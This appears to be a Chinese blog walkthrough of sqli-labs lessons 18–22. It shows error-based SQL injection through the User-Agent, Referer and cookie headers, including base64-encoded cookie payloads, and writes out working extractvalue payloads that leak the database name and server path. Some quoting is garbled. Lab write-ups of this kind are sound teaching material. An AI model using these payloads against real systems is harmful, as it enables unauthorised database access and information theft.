LESS-18~LESS~22

LESS-18在這裏插入圖片描述
由於用戶和密碼都有check_input()處理,所以不能再用戶和密碼處進行注入,但是可以看出有insert語句insert="insertintosecurity.uagents(uagent,ipaddress,username)VALUES(insert="insert into `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('uagent’,’$IP’, $uname)";
將 useragent 和 ip 插入到數據庫中,那麼我們是不是可以用這個來進行注入呢?
Ip 地址我們這裏修改不是很方便,但是 useragent 修改較爲方便,我們從 useragent 入手

在User-Agent處輸入: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1’='1(用’1’=’1而不用#閉合的原因是防止後面插入的id密碼等被註釋掉,而and和前一個單引號閉合則1前的單引號與後一個單引號閉合(user-agent字符串的閉合單引號))在這裏插入圖片描述

LESS-19在這裏插入圖片描述
類比與18,可以得出在referers修改即可
Referer處輸入:'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1’=‘1在這裏插入圖片描述
LESS-20
源碼:在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述
由於用戶名和密碼都要進行check_input()處理,所以不能用用戶名和密碼進行報錯。從源代碼中我們可以看到 cookie 從 username 中獲得值後,當再次刷新時,會從 cookie 中讀
取 username,然後進行查詢。登錄成功後,我們修改 cookie,再次刷新時,這時候 sql 語句就會被修改了。
把cookie這改爲uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)即可報錯路徑在這裏插入圖片描述
同理報出數據庫在這裏插入圖片描述
Less-21
源碼在這裏插入圖片描述
我們這裏可以利用 less20 同樣的方法,但是需要將 payload 進行 base64 編碼處理在這裏插入圖片描述在這裏插入圖片描述Uname=admin1’)andextractvalue(1,concat(0x7e,(select@@basedir),0x7e))#
進行base64編碼後
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=在這裏插入圖片描述
爆出路徑

LESS-22
源碼:在這裏插入圖片描述在這裏插入圖片描述
由此可見,源碼對“uname”進行了雙引號閉合的方式,且cooKies需要進行base64編碼
可以構造 payload:admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
再對Payload 進行 base64 編碼後,修改 cookie 再進行提交

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章